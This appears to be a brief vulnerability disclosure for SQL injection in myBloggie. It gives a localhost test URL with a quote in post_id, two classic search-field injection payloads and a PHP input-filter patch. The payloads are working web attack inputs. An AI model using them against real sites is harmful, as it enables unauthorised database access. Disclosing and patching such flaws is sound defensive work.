--==SQL injection==-- 

http://127.0.0.1/mybloggie/index.php?mode=viewid&post_id=' 

Also MurderSkillz discovered a bug in the search function. Here is a proof-of-concept: 

1' having '1'='1'-- 

or 

' or 'x'='x-- 

And a little patch from me: 

if(ereg('[^A-Za-z0-9_]',$_POST['keyword'])){ 
    echo "Invalid Characters"; 
    exit; 
    } 
    
if (isset($_GET['select'])) $select=$_GET['select']; 
if (isset($_POST['keyword'])) $keyword=$_POST['keyword']; 


$keyword = preg_replace($html_entities_match, $html_entities_replace,$keyword); 
//....
